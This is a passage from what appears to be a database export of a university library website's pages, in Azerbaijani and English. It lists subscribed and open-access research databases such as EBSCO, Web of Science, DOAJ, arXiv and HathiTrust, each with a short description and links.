href=\"http://en.wikipedia.org/wiki/Learned_society\" style=\"text-align:justify\">society</a><span style=\"text-align:justify\">-owned academic journals. NPG also publishes </span><em style=\"text-align:justify\"><a title=\"Scientific American\" href=\"http://en.wikipedia.org/wiki/Scientific_American\">Scientific American</a>&nbsp;</em><span style=\"text-align:justify\">in 16 languages, a magazine intended for the general public.&nbsp;</span></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/iopscience.jpg\" style=\"border:0px  #000000;vertical-align:text-bottom;width:200px;height:45px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"http://iopscience.iop.org/\">IOPscience</a>&nbsp;məlumat bazası 1874-cü ildən bu günə qədər bio-ruhlandırma, biometrik, biotibbi materiallar, astronomiya, astrofizika, fiziki kimya və nəzəri fizika sahələrinə aid 300000 dən artıq məqaləni əhatə edir.  </p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/EE-Logo.jpg\" style=\"border:0px  #000000;width:200px;height:134px;margin:7px;vertical-align:text-bottom\"><br></p><p style=\"text-align:justify\"><a href=\"http://www.e-elgar.co.uk/\">Edward Elgar Publishing</a>&nbsp;is a leading international publisher of academic books and journals in economics, finance, business and management, law, environment, public and social policy.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/rsp.jpg\" style=\"vertical-align:text-bottom;width:200px;height:103px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"http://royalsocietypublishing.org/\">The Society</a>’s fundamental purpose, reflected in its founding Charters of the 1660s, is to recognise, promote, and support excellence in science and to encourage the development and use of science for the benefit of humanity.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/web-of-science.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:350px;height:62px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"http://apps.webofknowledge.com/UA_GeneralSearch_input.do?product=UA&amp;search_mode=GeneralSearch&amp;SID=Q2x4ckxSysDWIvz9QWI&amp;preferencesSaved=\">Web of Science</a>™ Core Collection dünyanın aparıcı ədəbiyyat məlumat bazasına tədqiqatçıları, inzibatçıları, professor və tələbə heyətini sürətli, güclü çıxışı təchiz edir. Nüfuzlu, çoxsahəli məzmun 12000-dən çox dünyada tanınmış yüksək təsirli jurnalları – sərbəst girişi olan jurnallar da daxil olmaqla – 160000 – dən çox konfrans işlərini əhatə edir. Siz burada cari ilin və 1900-cü illərdən bəri olan retrospektiv əhatəli sosial elmləri, incəsənət və humanitar elmləri əhatə edən materialları tapacaqsınız. 250-dən çox fənlər üzrə zəruri məlumatlar diqqət mərkəzindədir.  </p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/biomedical.JPG\" style=\"border:0px #000000;float:left;width:350px;height:49px;margin:7px;vertical-align:baseline\"><br></p><p><br></p><p style=\"text-align:justify\"><a href=\"https://hstalks.com/biosci/\">The Biomedical &amp; Life Sciences</a>&nbsp;toplusu&nbsp;dünyanın bir çox aparıcı mütəxəssislərnin, o cümlədən bir neçə Nobel laureatının 2000-dən çox onlayn seminar mühazirələrinə bilavasitə çıxışı təmin edir.   </p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/doab.png\" style=\"vertical-align:baseline;width:200px;height:65px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"https://www.doabooks.org/\">DOAB</a>&nbsp;is open to all publishers who publish academic, peer reviewed books in Open Access and should contain as many books as possible, provided that these publications are in Open Access and meet academic standards.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/doajopenaccess.jpg\" style=\"vertical-align:baseline;width:200px;height:112px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"https://doaj.org/\">DOAJ</a>&nbsp;was launched in 2003 at Lund University, Sweden, with 300 open access journals and today contains ca. 9000 open access journals covering all areas of science, technology, medicine, social science and humanities.&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"https://polpred.com/news\"></a><a href=\"https://polpred.com/news\"><img src=\"/files/library/polpred11.jpg\" style=\"border:0px  #000000;width:200px;height:119px;margin-left:7px;margin-top:7px;margin-right:7px;vertical-align:bottom\"></a><br></p><p style=\"text-align:justify\"><a href=\"https://polpred.com/news\" style=\"text-align:justify\">Polpred.com</a>&nbsp;Rusiyanın əhəmiyyətli biznes nəşrlərinin ən böyük arxividir. Sayta hər gün minlərlə məlumat&nbsp; yerləşdirilir.  <br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/library/LIRNProxy.jpg\" style=\"border:0px  #000000;width:250px;height:92px;margin-left:7px;margin-top:7px;margin-right:7px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><a href=\"https://www.lirn.net/\" style=\"text-align:justify\">The LIRN® collection</a>&nbsp;provides students with millions of peer-reviewed and full-text journal, magazine, and newspaper articles, e-books, podcasts, audio, and video resources to support their academic studies from ProQuest, Gale Cengage, EBSCO, eLibrary, Books24x7, and more, covering topics for General Education, Business, and Medical programs.  </p><p style=\"text-align:justify\">If you have questions regarding the trial or would like to give us feedback, please contact to the library staff.  <br></p><p><br></p>'),(4994,2911,'en','Databases','Databases','<p style=\"text-align:justify\"><img src=\"/files/library/EBSCOhost.jpg\" style=\"vertical-align:baseline;width:200px;height:100px;margin-left:7px;margin-top:7px;margin-right:7px\"><br></p><p style=\"text-align:justify\"><a href=\"http://search.ebscohost.com/\">EBSCO</a>&nbsp;offers a broad range of full text and bibliographic databases designed for research.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align:left\"><img src=\"/files/library/npg-logo.jpg\" style=\"vertical-align:baseline;width:350px;height:66px\"></p><p style=\"text-align:justify\"><a href=\"http://www.nature.com/npg_/index_npg.html\" style=\"text-align:justify\">Nature Publishing Group</a><span style=\"text-align:justify\">&nbsp;(NPG) is an international </span><a href=\"http://en.wikipedia.org/wiki/Publishing\" style=\"text-align:justify\">publishing</a><span style=\"text-align:justify\"> company that publishes </span><a href=\"http://en.wikipedia.org/wiki/Academic_journal\" style=\"text-align:justify\">academic journals</a><span style=\"text-align:justify\">, </span><a title=\"Magazine\" href=\"http://en.wikipedia.org/wiki/Magazine\" style=\"text-align:justify\">magazines</a><span style=\"text-align:justify\">,&nbsp;online databases, and services in science and medicine. NPG\'s flagship publication is </span><em style=\"text-align:justify\"><a title=\"Nature (journal)\" href=\"http://en.wikipedia.org/wiki/Nature_(journal)\">Nature</a></em><span style=\"text-align:justify\">, a prestigious weekly&nbsp;</span><a title=\"Discipline (specialism)\" href=\"http://en.wikipedia.org/wiki/Discipline_(specialism)#Multidisciplinary\" style=\"text-align:justify\">multidisciplinary</a><span style=\"text-align:justify\">  first published in 1869. It also publishes Nature research journals, Nature Reviews journals (since 2000), and </span><a title=\"Learned society\" href=\"http://en.wikipedia.org/wiki/Learned_society\" style=\"text-align:justify\">society</a><span style=\"text-align:justify\">-owned academic journals. NPG also publishes </span><em style=\"text-align:justify\"><a title=\"Scientific American\" href=\"http://en.wikipedia.org/wiki/Scientific_American\">Scientific American</a>&nbsp;</em><span style=\"text-align:justify\">in 16 languages, a magazine intended for the general public.&nbsp;</span></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/iopscience.jpg\" style=\"border:0px  #000000;vertical-align:text-bottom;width:200px;height:45px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"http://iopscience.iop.org/\">IOPscience</a>&nbsp;database\r\ncontains more than 300,000 articles on bio-inspiration, biometrics, biomedical\r\nmaterials, astronomy, astrophysics, chemical physics and theoretical physics,\r\nfrom 1874 to the present day.</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/EE-Logo.jpg\" style=\"border:0px  #000000;width:200px;height:134px;margin:7px;vertical-align:text-bottom\"><br></p><p style=\"text-align:justify\"><a href=\"http://www.e-elgar.co.uk/\">Edward Elgar Publishing</a>&nbsp;is a leading international publisher of academic books and journals in economics, finance, business and management, law, environment, public and social policy.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/rsp.jpg\" style=\"vertical-align:text-bottom;width:200px;height:103px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"http://royalsocietypublishing.org/\">The Society</a>’s fundamental purpose, reflected in its founding Charters of the 1660s, is to recognise, promote, and support excellence in science and to encourage the development and use of science for the benefit of humanity.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/web-of-science.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:350px;height:61px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"http://apps.webofknowledge.com/UA_GeneralSearch_input.do?product=UA&amp;search_mode=GeneralSearch&amp;SID=Q2x4ckxSysDWIvz9QWI&amp;preferencesSaved=\">Web of Science</a>™ Core Collection provides researchers, administrators, faculty, and students with quick, powerful access to the world\'s leading citation databases. Authoritative, multidisciplinary content covers over 12,000 of the highest impact journals worldwide—including open access journals—and over 160,000 conference proceedings. You\'ll find current and retrospective coverage in the sciences, social sciences, arts, and humanities, with coverage dating back to 1900. Focus on the essential data from across more than 250 disciplines.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/biomedical.JPG\" style=\"border:0px #000000;width:350px;height:49px;margin:7px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><a href=\"https://hstalks.com/biosci/\">The Biomedical &amp; Life Sciences Collection</a>&nbsp;provides immediate access to over 2,000 online seminar style talks presented by many of the world’s leading experts including a number of Nobel Laureates.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/doab.png\" style=\"vertical-align:baseline;width:200px;height:65px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"https://www.doabooks.org/\">DOAB</a>&nbsp;is open to all publishers who publish academic, peer reviewed books in Open Access and should contain as many books as possible, provided that these publications are in Open Access and meet academic standards.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/library/doajopenaccess.jpg\" style=\"vertical-align:baseline;width:200px;height:112px;margin:7px\"><br></p><p style=\"text-align:justify\"><a href=\"https://doaj.org/\">DOAJ</a>&nbsp;was launched in 2003 at Lund University, Sweden, with 300 open access journals and today contains ca. 9000 open access journals covering all areas of science, technology, medicine, social science and humanities.&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"https://polpred.com/\"><img src=\"/files/library/polpred11.jpg\" style=\"width:200px;height:119px;margin-left:7px;margin-top:7px;margin-right:7px;vertical-align:baseline\"></a><br></p><p style=\"text-align:justify\"><a href=\"https://polpred.com/\">Polpred.com</a> is the largest archive of Russia\'s major business publications. Thousands of news items are placed on the website every day.&nbsp;</p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><img src=\"/files/library/LIRNProxy.jpg\" style=\"width:250px;height:92px;margin-left:7px;margin-top:7px;margin-right:7px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><a href=\"https://www.lirn.net/\">The LIRN® collection</a> provides students with millions of peer-reviewed and full-text journal, magazine, and newspaper articles, e-books, podcasts, audio, and video resources to support their academic studies from ProQuest, Gale Cengage, EBSCO, eLibrary, Books24x7, and more, covering topics for General Education, Business, and Medical programs.  <br></p><p style=\"text-align:justify\">If you have questions regarding the trial or would like to give us feedback, please contact to the library staff.  <br></p><p><br></p>'),(4995,2912,'az','Sərbəst Giriş Mənbələri','Sərbəst Giriş Mənbələri','<p><a href=\"http://library.nu.edu.kz/wps/portal/%21ut/p/b1/04_Sj9CPykssy0xPLMnMz0vMAfGjzOKdLD19nZwMHQ38PU1MDBwNDP39w_zdjSwcDYEKIoEKDHAARwNC-sP1o8BKnN0dPUzMfQwMLHzcTQ08HT1CgywDjY0NHI2hCvBY4eeRn5uqX5AbYZBl4qgIAIvG7sc%21/dl4/d5/L2dQX18tQSEhL29Ld3dBQUFRaENFSVFoQ0VJUWhDRUlRZy80SmtHWWhtWVpoR1pSbU1abkdZSm1TWmltWnBtR1psbVk1bWVaZ1daRm1KWm1XWVZtVlEhL1o2X0I5SU1CQjFBME9JNDQwQTAxT09WT0cyOEExL1o2X0I5SU1CQjFBMDA4SEYwSTdIU0xCS08wME42L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME4yL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyMFYyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME0xL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzAyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzA3L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyR0cxL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzg0L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzgzL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQwL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQyL1o2X0I5SU1CQjFBMDBCREMwSVZPUEY5MTYzMFQzL1o2X0I5SU1CQjFBME8xT0YwSTdCQzVMRDgxMDAxL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEEwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDkyL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFA0L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFAzL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDUwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDU1L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEwy/\">20 Best Websites To Download Free EBooks</a></p><p><a href=\"http://library.nu.edu.kz/wps/portal/%21ut/p/b1/04_Sj9CPykssy0xPLMnMz0vMAfGjzOKdLD19nZwMHQ38PU1MDBwNDP39w_zdjSwcDYEKIoEKDHAARwNC-sP1o8BKnN0dPUzMfQwMLHzcTQ08HT1CgywDjY0NHI2hCvBY4eeRn5uqX5AbYZBl4qgIAIvG7sc%21/dl4/d5/L2dQX18tQSEhL29Ld3dBQUFRaENFSVFoQ0VJUWhDRUlRZy80SmtHWWhtWVpoR1pSbU1abkdZSm1TWmltWnBtR1psbVk1bWVaZ1daRm1KWm1XWVZtVlEhL1o2X0I5SU1CQjFBME9JNDQwQTAxT09WT0cyOEExL1o2X0I5SU1CQjFBMDA4SEYwSTdIU0xCS08wME42L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME4yL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyMFYyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME0xL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzAyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzA3L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyR0cxL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzg0L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzgzL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQwL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQyL1o2X0I5SU1CQjFBMDBCREMwSVZPUEY5MTYzMFQzL1o2X0I5SU1CQjFBME8xT0YwSTdCQzVMRDgxMDAxL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEEwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDkyL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFA0L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFAzL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDUwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDU1L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEwy/\"></a>List was compiled by Kay Tan, as independent blogger, on the&nbsp;<a href=\"http://www.hongkiat.com/blog/about-us/\" target=\"blank\">HONGIAT.com</a>&nbsp;portal. Recommended reading&nbsp;<a href=\"http://www.hongkiat.com/blog/20-best-websites-to-download-free-e-books-part-ii/\" target=\"blank\">Best Websites To Download Free EBooks – Part II</a></p><p><br></p><p><a href=\"http://aclweb.org/anthology-new/\">ACL Anthology</a>&nbsp;[<a href=\"http://aclweb.org/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=35\">INFO</a>]</p><p>The ACL Anthology currently hosts over 19,800 papers on the study of computational linguistics. The Anthology home page now features search connecting to the ACL Anthology Searchbench and ACL Author Network.</p><p><br></p><p><a href=\"http://www.arxiv.org/\">ArXiv</a>&nbsp;[<a href=\"http://arxiv.org/help/primer\">INFO</a>]</p><p>arXiv is the go-to source for physics.&nbsp; Developed by Cornell University, arXiv is an openly accessible, moderated repository for scholarly articles in specific scientific disciplines, including physics, mathematics, computer science, nonlinear sciences, quantitative biology and statistics. As an electronic archive, arXiv makes a commitment to provide persistent access to all announced submissions. arXiv is thus maintained with a focus on the perpetual availability of submissions.</p><p><br></p><p><a title=\"http://www.biodiversitylibrary.org\" href=\"http://www.biodiversitylibrary.org/\" target=\"_blank\">Biodiversity Heritage Library</a>&nbsp;[<a title=\"http://biodivlib.wikispaces.com/About\" href=\"http://biodivlib.wikispaces.com/About\" target=\"_blank\">INFO</a>]</p><p>The Biodiversity Heritage Library (BHL) is a consortium of natural history and botanical libraries that cooperate to digitize and make accessible the legacy literature of biodiversity held in their collections to make that literature available for open access and responsible use as part of a global \"biodiversity commons.\" &nbsp;The BHL portal provides information on more than 1 million scientifically identified species. &nbsp;The researcher may search and peruse the historical literature to find what was known of a species in the 16th century onward.</p><p><br></p><p><a href=\"http://www.bioone.org/action/showPublications?type=byCategory\">BioOne</a>&nbsp;[<a href=\"http://www.bioone.org/page/about/organization/mission\">INFO</a>]</p><p>BioOne sees sustainable scholarly publishing as an inherently collaborative enterprise connecting authors, nonprofit publishers, academic institutions, research libraries, and research funders in the common goal of maximizing access to critical research. BioOne explores economic models and strategic partnerships that balance the needs of all stakeholders, and currently demonstrates this balance by offering financially sustainable information services in the biological sciences. BioOne supports best practices that increase operational effectiveness and technological standards that integrate its content with a global network of scholarly exchange. Currently it has 11 open access journals, including material not currently searchable via either DOAJ or Open J-Gate.</p><p><br></p><p><a href=\"http://www.acf.hhs.gov/programs/cb/resource/cwig\">Child Welfare Information Gateway</a>&nbsp;[<a href=\"http://www.acf.hhs.gov/programs/cb/resource/cwig\">INFO</a>]</p><p>Child Welfare Information Gateway provides information on child welfare to both the public and child welfare professionals. This includes information on abuse and neglect, foster care, and adoption.</p><p><br></p><p><a href=\"http://clinicaltrials.gov/\">Clinical Trials</a>&nbsp;[<a href=\"http://clinicaltrials.gov/ct2/info/about\">INFO</a>]</p><p>ClinicalTrials.gov offers up-to-date information for locating federally and privately supported clinical trials for a wide range of diseases and conditions. A clinical trial (also clinical research) is a research study in human volunteers to answer specific health questions. Interventional trials determine whether experimental treatments or new ways of using known therapies are safe and effective under controlled environments. Observational trials address health issues in large groups of people or populations in natural settings.</p><p><br></p><p><a href=\"http://www.idp.com/about-idp/research-database/quick-search.aspx\">Database of Research on International Education</a>&nbsp;[<a href=\"http://www.idp.com/about-idp/research-database.aspx\">INFO</a>]</p><p>Managed by the Australian Council for Educational Research, this database contains over books, articles, and conference papers and reports on various aspects of international education. All materials cover the period from 1990--present.</p><p><br></p><p><a href=\"http://demoscope.ru/weekly/2014/0587/index.php\" target=\"blank\">DEMOSCOPE.ru / Демоскоп weekly</a>&nbsp;</p><p>Both print and electronic bulletin from 2001 to 2007 was published by Center for Demography and Human Ecology, at the Institute for Economic Forecasting, and since 2008 – by Institute of Demography at the State University - Higher School of Economics. Institute of Demography studies Russia\'s demographic development - the growth of population and its placement, the family , marriage and divorce, fertility , family planning and reproductive rights, the status of women , children, seniors, people with disabilities, health, mortality, migration, labor, the labor market, the level of life and ethnic relations.</p><p><br></p><p><a href=\"http://www.doaj.org/%20%20\">Directory of Open Access Journals&nbsp;</a>[<a href=\"http://www.doaj.org/doaj?func=loadTempl&amp;templ=about&amp;uiLanguage=en\">INFO</a>]</p><p>Categorised, searchable links to free, full text, quality-controlled scientific and scholarly journals. As of 25th March 2011, 538,679 articles were included in the DOAJ service.</p><p><br></p><p><a href=\"http://edina.ac.uk/\">EDINA</a>&nbsp;[<a href=\"http://edina.ac.uk/about/\">INFO</a>]</p><p>EDINA is a UK national academic data centre, designated by JISC on behalf of UK funding bodies to support the activity of universities, colleges and research institutes in the UK, by delivering access to a range of online data services through a UK academic infrastructure, as well as supporting knowledge exchange and ICT capacity building, nationally and internationally, which innovates, generating knowledge, expertise and trust, through a focus on ease and continuity of access to scholarly resources and tools.</p><p><br></p><p><a href=\"http://www.iranicaonline.org/\">Encyclopædia Iranica</a></p><p><a href=\"http://www.iranicaonline.org/\"></a>The Encyclopædia Iranica is a comprehensive research tool dedicated to the study of Iranian civilization in the Middle East, the Caucasus, Central Asia, and the Indian subcontinent. It is published by Columbia University Center for Iranian Studies.</p><p><br></p><p><a href=\"http://www.epo.org/searching.html\">Espacenet - European Patent database</a>&nbsp;[<a href=\"http://www.epo.org/about-us.html\">INFO</a>]</p><p>Espacenet offers free access to more than 70 million patent documents worldwide, containing information about inventions and technical developments from 1836 to today.</p><p><br></p><p><a title=\"http://www.theeuropeanlibrary.org\" href=\"http://www.theeuropeanlibrary.org/\" target=\"_blank\">The European Library</a>&nbsp;[<a href=\"http://www.theeuropeanlibrary.org/tel4/aboutus\">INFO</a>]The European Library is a membership organisation for national and research libraries. Its members include 48 national libraries and an increasing number of research libraries.&nbsp; Through its portal, it makes the resources of Europe\'s libraries, including many special collections, accessible to the public.&nbsp; Through a single search box you have access to over 200 million records including 24 million pages of full-text content and more than 7 million digital objects.</p><p><br></p><p><a href=\"http://books.google.com/\" target=\"blank\">Google books</a></p><p><a href=\"http://books.google.com/\" target=\"blank\"></a><a href=\"http://books.google.com/\" target=\"blank\"></a>You can search and browse millions of books in here. If the book is out of copyriht, or the publisher has given a permission, you\'ll be able to see a preview of the book, and in some cases the entire text. If it\'s in the public domain, you\'re free to download a PDF copy.&nbsp;</p><p><br></p><p><a href=\"http://www.hathitrust.org/\" target=\"blank\">HathiTrust Digital Library</a></p><p><a href=\"http://www.hathitrust.org/\" target=\"blank\"></a>HathiTrust is a partnership of academic &amp; research institutions, offering a collection of millions of titles digitized from libraries around the world.&nbsp;</p><p><br></p><p><a href=\"http://highwire.stanford.edu/lists/freeart.dtl\">Highwire</a>&nbsp;[<a href=\"http://highwire.stanford.edu/about/\">INFO</a>]</p><p>As the leading ePublishing platform, HighWire Press partners with independent scholarly publishers, societies, associations, and university presses to facilitate the digital dissemination of 1530 journals, reference works, books, and proceedings. The users of HighWire hosted publications include researchers, clinicians, students, and other scholars seeking the best online research from a vast database of full-text scholarly, high-impact materials. The HighWire portal offers advanced searching and browsing capabilities and tools, creating an alternative means to find and make sense of information from over five million full-text articles; create keyword, citation or author alerts; and download citations across all the content HighWire hosts. In 2008, HighWire announced the creation of its new platform, H2O. This platform incorporates the information technology\'s best-practices, standards, and architecture, providing HighWire\'s partners the flexibility to provide their online visitors the latest features and best experience.</p><p><br></p><p><a href=\"http://www.hindawi.com/search.aspx\">Hindawi Open Access Journals</a>&nbsp;[<a href=\"http://www.hindawi.com/\">INFO</a>]</p><p>Founded in 1997, Hindawi Publishing Corporation is a commercial publisher of peer-reviewed journals covering a wide range of academic disciplines, and publishes over 200 open access, peer-reviewed journals.</p><p><br></p><p><a href=\"http://www.ingentaconnect.com/search/advanced?database=1\">Ingenta</a>&nbsp;[<a href=\"http://www.ingentaconnect.com/about\">INFO</a>]</p><p>IngentaConnect offers one of the most comprehensive collections of academic and professional research articles online, and citation data for some 4.5 million articles from 13,500 publications. Access to fulltext at this time is only available for open source resources.</p><p><br></p><p><a href=\"https://archive.org/details/texts\" target=\"blank\">The Internet Archive</a></p><p><a href=\"https://archive.org/details/texts\" target=\"blank\"></a>The Internet Archive\'s Digital Books Collections allows you to browse and read over 5 million books and items from over 1,500-curated collections. You will find a wide range of literature, historical texts and research materials.&nbsp;</p><p><br></p><p><a href=\"http://www.ietf.org/\">Internet Engineering Task Force</a>&nbsp;[<a href=\"http://www.ietf.org/about/\">INFO</a>]</p><p>The mission of the IETF is to make the Internet work better by producing high quality, relevant technical documents that influence the way people design, use, and manage the Internet. It is a large open international community of network designers, operators, vendors, and researchers concerned with the evolution of the Internet architecture and the smooth operation of the Internet and is open to any interested individual.</p><p><br></p><p><a href=\"http://scout.wisc.edu/Weblog/\">Internet Scout Report</a>&nbsp;[<a href=\"http://scout.wisc.edu/About/index.php\">INFO</a>]</p><p>The Scout Report is a weekly publication offering a selection of new and newly discovered Internet resources of interest to researchers and educators.</p><p><br></p><p><a href=\"http://www.ams.org/mathscinet/msc/msc2010.html\">Mathematics Subject Classification</a>&nbsp;[<a href=\"http://10.1.1.16:10038/wps/PA_1_NO2UF4I11G7IE026HCTVU020K6/jsp/html/doc.html\">INFO</a>]</p><p>The Mathematics Subject Classification (MSC) is an alphanumerical classification scheme produced by staff of and based on the coverage of two major mathematical reviews databases, Mathematical Reviews and Zentralblatt MATH. It links up and aids searching of many mathematics and physics journals, which ask authors of research papers and expository articles to list subject codes from the Mathematics Subject Classification in their papers.</p><p><br></p><p><a title=\"http://medlineplus.gov\" href=\"http://medlineplus.gov/\" target=\"_blank\">MedlinePlus</a>&nbsp;[<a title=\"http://www.nlm.nih.gov/medlineplus/aboutmedlineplus.html\" href=\"http://www.nlm.nih.gov/medlineplus/aboutmedlineplus.html\" target=\"_blank\">INFO</a>]&nbsp;</p><p>MedlinePlus is the National Institute of Health\'s Web Site for patients and their families and friends. &nbsp;Produced by the National Library of Medicine, it brings you information about diseases, conditions, and wellness issues in language you can understand. &nbsp;MedlinePlus offers reliable, up-to-date health information, anytime, anywhere, for free.</p><p><br></p><p><a href=\"http://metapress.com/content/\">Metapress</a>&nbsp;[<a href=\"http://metapress.com/home/main.mpx\">INFO</a>]</p><p>Metapress acts as the e-hosting facility for a range of academic journals, but is in itself an excellent place to start for finding resources for study.</p><p><br></p><p><a href=\"http://www.nap.edu/\">National Academies Press eBooks</a>&nbsp;[<a href=\"http://notes.nap.edu/2011/06/02/more-than-4000-national-academies-press-pdfs-now-available-to-download-for-free\">INFO</a>]</p><p>The National Academies Press (NAP) was created by the National Academies to publish the reports issued by the National Academy of Sciences, the National Academy of Engineering, the Institute of Medicine, and the National Research Council, all operating under a charter granted by the Congress of the United States. The NAP publishes more than 200 books a year on a wide range of topics in science, engineering, and health, capturing the most authoritative views on important issues in science and health policy. This collection contains over 4000 free ebooks.</p><p><br></p><p><a href=\"http://www.oapen.org/home\">OAPEN (Open Access Publishing in European Networks)</a></p><p><a href=\"http://www.oapen.org/home\"></a>The OAPEN Library contains freely accessible academic books, mainly in the area of humanities and social sciences. OAPEN works with publishers to build a quality controlled collection of open access books, and provides services for publishers, libraries and research funders in the areas of deposit, quality assurance, dissemination, and digital preservation.</p><p><br></p><p><a href=\"http://oatd.org/\">OATD</a>&nbsp;(Open Accese Dissertaions and Theses)&nbsp;</p><p>OATD.org aims to be the best possible resource for finding open access graduate theses and dissertations published around the world. Metadata (information about the theses) comes from&nbsp;<a href=\"http://oatd.org/oatd-publishers.html\">over 800 colleges, universities, and research institutions</a>. OATD currently indexes&nbsp;<a href=\"http://oatd.org/oatd/search?q=*%3A*&amp;sort=date\">1,870,203&nbsp;</a>theses and dissertations.</p><p><br></p><p><a href=\"http://opendepot.org/view/subjects/\">Open Depot</a>&nbsp;[<a href=\"http://opendepot.org/information.html\">INFO</a>]</p><p>The purpose of OpenDepot.org is to ensure that all academics worldwide can share in the benefits of making their research output Open Access. For those whose universities and organisations have an online repository, OpenDepot.org makes them easy to find. For those without a local repository, including unaffilitiated researchers, the OpenDepot is a place of deposit, available for others to harvest.</p><p><br></p><p><a href=\"http://www.opendoar.org/search.php\">OpenDOAR</a>&nbsp;[<a href=\"http://www.opendoar.org/\">INFO</a>]</p><p>OpenDOAR is an authoritative directory of academic open access repositories. Each OpenDOAR repository has been visited by project staff to check the information that is recorded here.</p><p><br></p><p><a href=\"http://www.opticsinfobase.org/\">Optics Infobase</a>&nbsp;[<a href=\"http://www.opticsinfobase.org/about.cfm\">INFO</a>]</p><p>You can access a large collection of peer-reviewed optics and photonics content via OSA\'s digital library, Optics InfoBase. This cutting-edge repository includes all of OSA\'s content, and complements it with key co-publications. With more than 185,000 articles including conference papers from 310 conferences, OSA\'s content covers a breadth of disciplines, many of which are available free of charge in full text.</p><p><br></p><p><a href=\"http://www.aip.org/pacs/pacs2010/individuals/pacs2010_regular_edition/index.html\">Physics and Astronomy Classification Scheme</a>&nbsp;[<a href=\"http://msc2010.org/Default.html\">INFO</a>]</p><p>The Physics and Astronomy Classification Scheme® (PACS®) is a hierarchical subject classification scheme designed to classify and categorize the literature of physics and astronomy. PACS provides an essential tool for classification and efficient retrieval of literature in physics and astronomy; as such, PACS is used by AIP and other international publishers of journals in physics, astronomy, and related fields.</p><p><br></p><p><a title=\"ProCon.org\" href=\"http://www.procon.org/\" target=\"_blank\">ProCon.org</a>&nbsp;[<a title=\"http://www.procon.org/about-us.php\" href=\"http://www.procon.org/about-us.php\" target=\"_blank\">INFO</a>]&nbsp;</p><p>ProCon.org is a free website that presents nonpartisan research on 